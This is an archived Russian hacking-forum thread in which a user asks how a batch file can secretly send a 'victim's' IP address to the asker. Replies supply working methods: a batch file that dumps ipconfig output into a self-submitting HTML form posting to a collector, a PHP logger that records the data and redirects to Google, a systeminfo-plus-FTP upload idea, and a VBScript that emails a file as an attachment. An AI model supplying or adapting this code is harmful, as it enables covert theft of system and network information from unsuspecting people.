Форум АНТИЧАТ - Кодинг в .Bat

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Кодинг в .Bat (https://forum.antichat.xyz/showthread.php?t=88962)

Кодинг в .Bat

Подскажите, как можно реализовать с помощью бат высылку ip жертвы на хост/аську или мыло.

бандеролью......м?

этож как ой ужас получается :) высылку ипа через дос :) Ну и telenet на 80 порт :)
а мож javascript лутше? :))

telnet на какойто порт, потом в логах фаервола посмотриш ип.

old.antichat.ru тебе в помощь... там расматривалось

http://sclan.info/showthread.php?t=1140 Может поможет...

*CRAZY* запустить IE с параметром типа http://site.com/1.php а там уже вычеслить ip подключившегося.
Болле изошренный метод
ipconfig /all>1.txt
systeminfo >>1.txt
а дальше такимже образом создать конфиг для ftp и отослать этот файл ))

http://forum.antichat.ru/thread84364.html
http://forum.antichat.ru/thread83653.html
Все задачи решены и приведены конкретные примеры.

)) во!
бат файл

Код:

echo ^<form name='myf' action='http://127.0.0.1/1.php' method='POST'^>^<textarea name='data'^>>1.html

ipconfig /all>>1.html

echo ^</textarea^>^</form^>^<script^>document.myf.submit()^</script^>>>1.html

start 1.html

скрипт

Код:

<?

$d=$_POST['data'];

$f=fopen('log.txt','a+');

fputs($f,$d);

fclose($f);

header('Location: http://google.com');

?>

Еще как метод сделать через VBS,т.к удобно и родное.

Цитата:

'''''''''''''''''''''''''''''''''''''''''''''''''' ''
' Скрипт: SendMail.vbs
' Описание: отправка сообщения по электронной почте
' Язык: VBScript
' Автор: Andrew Mishechkin
'''''''''''''''''''''''''''''''''''''''''''''''''' ''
Option Explicit

Dim objEmail 'CDO объект для отправки сообщения
Dim MessText 'Текст сообщения
Dim AttFile 'Файл вложения.

'Формируем текст сообщения
MessText = "Данное сообщение послано" & VbCrLf
MessText = MessText + "скриптом Sendmail.vbs" & VbCrLf

AttFile = "C:\Temp\1.txt" 'Указываем путь к файлу, который необходимо вложить в сообщение
Set objEmail = WScript.CreateObject("CDO.Message") 'Создаем объект CDO и получаем на него ссылку в переменную objEmail

'''''''''''''''''''''''''''''''''''''''''''''''''' ''
' Указание необходимых параметров объекта CDO
'''''''''''''''''''''''''''''''''''''''''''''''''' ''
objEmail.From = "Отправитель"" script@company.ru" 'параметры отправителя (имя и адрес электронной почты)
objEmail.To = "admin@company.ru" 'адрес электронной почты получателя
objEmail.Subject = "Проверка связи" 'тема сообщения
objEmail.AddAttachment(AttFile) 'файла вложения
objEmail.Textbody = MessText 'текст сообщения

'Отправить сообщение используя сетевую SMTP-службу (1 - используется для отправки через локальную SMTP-службу)
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
'Указание имени SMTP-сервера
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "mail.company.ru"
'Указание SMPT-порта на сервере
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
'Обновить конфигурацию CDO-объекта
objEmail.Configuration.Fields.Update
'Послать сообщение с помощью метода Send
objEmail.Send

Почти тоже самое но с объяснениями правдо на английском http://www.microsoft.com/technet/scriptcenter/resources/qanda/nov04/hey1129.mspx